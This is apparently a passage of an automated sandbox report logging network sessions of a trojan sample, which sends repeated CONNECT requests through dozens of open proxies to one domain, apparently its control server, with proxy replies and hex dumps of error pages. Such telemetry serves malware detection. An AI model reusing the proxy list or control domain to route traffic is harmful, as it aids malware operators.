Feb 23, 2024 14:28:33.479199886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1342	192.168.2.8	54101	1.194.236.229	5005	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.495218992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.772787094 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1343	192.168.2.8	54157	158.255.215.50	16993	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.504242897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.727159023 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1344	192.168.2.8	54128	109.194.22.61	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.516494036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1345	192.168.2.8	51995	192.99.37.195	49613	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.516803980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.694761992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.789177895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.882725954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:57.883651018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:09.882220984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:21.882246017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1346	192.168.2.8	54123	120.79.101.0	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.541857004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.916881084 CET	309	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.25.0 Date: Fri, 23 Feb 2024 13:28:33 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.25.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1347	192.168.2.8	54135	187.19.127.253	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.542061090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1348	192.168.2.8	51949	147.135.195.236	43705	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.542526007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.694839954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.789175987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.882757902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1349	192.168.2.8	54121	27.65.240.157	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.567473888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1350	192.168.2.8	53277	14.97.48.44	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.567579985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1351	192.168.2.8	51930	173.255.119.18	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.574615002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.693109035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.695276976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.695193052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1352	192.168.2.8	54173	47.243.114.192	8180	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.587665081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1353	192.168.2.8	54192	43.251.132.133	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.587668896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1354	192.168.2.8	53729	198.12.253.1	50205	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.587846994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.085655928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695034981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.585822105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382703066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.141172886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882746935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.398071051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.241631985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1355	192.168.2.8	53556	199.58.184.97	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.587939978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1356	192.168.2.8	54164	43.133.136.208	8800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.624567032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1357	192.168.2.8	53374	167.172.159.43	48983	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.670039892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.694957972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.789174080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.882751942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1358	192.168.2.8	53732	103.143.9.85	8088	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.670101881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.846574068 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1359	192.168.2.8	54076	120.194.4.157	82	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.730329990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.456043005 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:34 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1360	192.168.2.8	53465	34.23.45.223	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.000191927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.629780054 CET	836	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:48 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 644 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 6f 70 6f 72 74 65 74 69 40 63 6f 64 65 31 30 30 2e 63 6f 6d 2e 70 79 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at soporteti@code100.com.py to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.58 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1361	192.168.2.8	54212	190.14.224.244	3629	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.014164925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1362	192.168.2.8	53857	12.186.205.122	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.072468042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.199481010 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Fri, 23 Feb 2024 13:28:34 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1363	192.168.2.8	53345	178.128.82.105	53299	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.077487946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.882531881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.882606030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1364	192.168.2.8	53915	181.78.64.75	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.098284960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.179477930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.195151091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.195388079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:58.194700003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:10.194724083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:22.194704056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1365	192.168.2.8	52032	104.238.111.107	36049	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.098509073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.694813967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.195120096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.195116043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.991883993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.789242983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.695195913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.195333004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:52.101092100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1366	192.168.2.8	53473	37.139.26.54	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.129147053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.152543068 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1367	192.168.2.8	53579	104.200.135.46	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.136573076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1368	192.168.2.8	53919	185.40.80.143	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.139060020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1369	192.168.2.8	54217	130.162.213.175	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.139322042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
